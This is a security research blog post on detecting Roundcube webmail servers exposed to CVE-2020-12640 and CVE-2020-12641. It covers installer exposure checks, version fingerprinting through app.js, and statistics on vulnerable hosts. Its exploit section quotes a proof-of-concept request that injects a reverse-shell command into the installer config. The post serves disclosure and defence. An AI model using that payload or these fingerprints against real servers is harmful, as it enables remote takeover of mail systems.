Finding Roundcube installations vulnerable to CVE-2020-12640 and CVE-2020-12641
Written on 2023/07/07
At ONYPHE we focus on detecting vulnerabilities that are under active exploitation and so we keep a close eye on the CISA Known Exploited Vulnerabilities (KEV) catalog. On the 22nd June, six new vulnerabilities were added to the list, including 3 for the popular open source webmail product Roundcube.
The three Roundcube vulnerabilities date from April 2020 and one of them, CVE-2020-12641 is an RCE. A proof-of-concept exploit code was published a few months later. Interestingly the roundcube security bulletin from 2020 seems to think that this vulnerability, along with it’s twin CVE-2020-1640, are minor issues. To quote:
The latter two vulnerabilities are classified minor because they only affect Roundcube installations with public access to the Roundcube installer. That’s generally a high-risk situation and is expected to be rare or practically non-existent in productive Roundcube deployments. However, the fixes are done in core in order to also prevent from future and yet unknown attack vectors.
The exploit
As explained in the post linked to above, this is a two-part exploit firstly requiring a POST request to the installer to add a shell command to a Roundcube config file:
POST /roundcube/installer/index.php HTTP/1.1
Host: 192.168.243.153
Content-Type: application/x-www-form-urlencoded
Content-Length: 1049
_step=2&_product_name=Roundcube+Webmail&***TRUNCATED***&submit=UPDATE+CONFIG&_im_convert_path=php+-r+'$sock%3dfsockopen("127.0.0.1",4444)%3bexec("/bin/bash+-i+<%263+>%263+2>%263")%3b'+%23
And then the victim is sent an e-mail with an unusual image format. Roundcube attempts to convert the image using the im_convert_path configuration item, and the injected command line is executed.
Roundcube thinks these vulnerabilities are rare, but as the brave folks at CERT-UA know only too well, APT28 thinks they are worth exploiting.
Getting a list of Roundcube URLs
To go about detecting these vulnerabilities we’d need to start by somehow identifying all the Roundcube instances on the Internet. Fortunately, ONYPHE has already done that for us :) The ONYPHE datascan category stores the response from about 1B exposed services and URLs each month, and then contextualises that data by matching patterns for known devices and software, including Roundcube.
The following OQL (ONYPHE Query Language) in the web interface should give us some results:
category:datascan app.http.component.productvendor:roundcube
It does - in fact 4.8 million results. It’s basic statistics that even when something is rare or “practically non-existant”, if you have a population of millions then the final number of occurances can be suprisingly high.
To get a useful list with the URL of every known Roundcube instance on the internet we need to use an API.
onyphe -calculated 1 -search 'category:datascan app.http.component.productvendor:"Roundcube" -since:1M | fields calculated.url.undefang | uniq calculated.url.undefang | output'
As ONYPHE stores every known hostname for a particular service on the Internet, we need to use the calculated field calculated.url.undefang to select just the URL used for the Roundcube product detection. The function -since:1M limits the scope of results to only those detected or updated over the last 30 days, and the ONYPHE command line uniq will strip out any duplicate results.
In fact the search API limits the number of results to 10,000 which is only a fraction of the results we need. The export API gives us all the data and so allows us to extract the hundreds of thousands of records from a dataset of billions for processing in a datalake like Splunk or ELK.
onyphe -calculated 1 -export 'category:datascan app.http.component.productvendor:"Roundcube" -since:1M' > /tmp/datascan.json
Detecting open installer instances
Finding exposed instances should be as simple as hitting the right URL:
curl -k --connect-timeout 3 http[s]://<roundcube.host>/installer/index.php
Despite the fact that the Roundcube documentation tells you to actually delete the installer from your web directories after use, many installations have simply disabled the installer and so we get a page like this:
What would an open installer look like? Well there are three obvious ways to find out:
- scan every URL until we find something that looks right
- install our own Roundcube server and take a look
- read the source code
Whichever way you get there, the end goal is to find a reliable string to identify an open Roundcube installer, which looks like this:
We could detect the main page title, however if that second “Checking PHP version” heading is displayed it means the installer is executing so that could be an ideal candidate. And here’s the corresponding code snippet from github:
Checking this approach with a vulnerable server confirms we can detect the string we identified.
~$ curl -k https://127.0.0.1/installer/index.php 2>/dev/null | grep -c 'Checking PHP version'
1
Working out the Roundcube version
According to the 2020 security bulletin, the versions that are affected are <1.4.4, <1.3.11 and <1.2.10. Roundcube is now on version 1.6 so let’s start by trying to identify the most recent vulnerable version, 1.4.3.
Some software helpfully displays the version number on the login page or via a friendly /api/version, and other vendors (knowing that security by obscurity is actually a thing ;) consider that anyone wanting to know the version is up to no good, and they take measures to hide that information. Roundcube is in the second category.
The version number is clearly displayed in the PHP code comments but at no point does that version number leak into the HTTP content sent to the client. Some hard lessons were learned in the early days of the Roundcube project.
The copyright message at the bottom of the installer page seems to be a useful date-stamp. This does in fact tell you if the instance is truly ancient, but it turns out not to be useful in distinguishing from vulnerable and not-vulnerable instances of version 1.4.
Another approach is needed.
So let’s look at the code changes associated with the security fix. The Roundcube changelog links to the Github issues for all the code changes except the ones for the security patches. However while staring at this changelog it struck us that we didn’t need to find the specific code change related to the vulnerability. Any code change made public in the same release as the security patch will tell us if the installation has been patched or not.
Helpfully, the compare feature of github will do most of the work for us. https://github.com/roundcube/roundcubemail/compare/1.4.3…1.4.4
Initially this doesn’t seem to help as only the public_html/index.php file is loaded pre-authentication, and a quick look at that page doesn’t show any useful changes. That page fetches a certain number of javascript documents but none of them were modified between the versions we are looking at. The login page loads minimal versions of each of the .js files, for example app.min.js as opposed to app.js.
However looking at the installation files, we can see that these mini files are in the same ‘program/js’ directory as the main Roundcube javascript application.
What if we can just point our HTTP client at the javascript file we actually want to check?
If that approach works, app.js has a big chunk of code changed in version 1.4.4 including some code comments in the javascript
Sure enough, it turns out we can just ask the server to send us the javascript file from /program/js/app.js and check if the change has been made in the code. This is the app.js document from the latest version of Roundcube.
Vulnerable versions of this document from Roundcube 1.4 will contain the string “there will be two onload events, first for the preload page”. This long string helps to avoid any false positives. Using this approach, checking if a server is vulnerable can be done in two simple steps:
~$ curl -k https://<roundcube.host>/installer/index.php' 2>/dev/null | grep -c 'Checking PHP version'
1
~$ curl -k https://<roundcube.host>/program/js/app.js' 2>/dev/null | grep -c 'there will be two onload events, first for the preload page'
1
A non-zero response for the first command tells us the installer is open. A non-zero response for the second will tell us the server has a vulnerable version of Roundcube.
Who is vulnerable?
When we look at Roundcube deployments as a whole, over two-thirds of all instances are in the US. Over half of them are hosted by a single organization, Unified Layer.
By looking at vulnerable versions of Roundcube we are able to observe the impact of the CVE being added to the CISA KEV list:
Days since CVE added to KEV list | Count of vulnerable versions (1.4) in US |
|
|
|
|
That’s a 9% reduction in 2 weeks. Both encouraging and depressing from a national CSIRT perspective.
If we look at only instances of Roundcube vulnerable to CVE-2020-12640 and CVE-2020-12641 and with an open installer then the picture becomes quite interesting.
Only 11% of open and vulnerable instances are in the US, with the other 88% in Europe. 25% in Germany, followed by Italy (16.5%), Netherlands (10%) and Poland (9%).
In total we identified exploitable Roundcube instances on 131 unique IPs with 194 unique domains.
Conclusion
Our investigation into CVE-2020-12640 and CVE-2020-12641 can tell us a few useful things:
- Javascript documents present on the webserver can reveal information about the system state
- Roundcube instances can be found on 1.74M unique domains on 310,000 different IP addresses
- Vulnerable versions (1.4.x) can be found on 28,500 domains hosted on 10,000 different IP addresses
- Open Roundcube installers are present on 265 domains hosted on 181 unique IP addresses
- Insecure configurations of Roundcube are much more likely to be found in Europe than in the US
- 0.1% of Roundcube instances in Europe are exploitable, as opposed to 0.06% in the US.
ONYPHE vulnscan customers (starting from Eagle View) can now detect CVE-2020-12640 and CVE-2020-12641:
Or: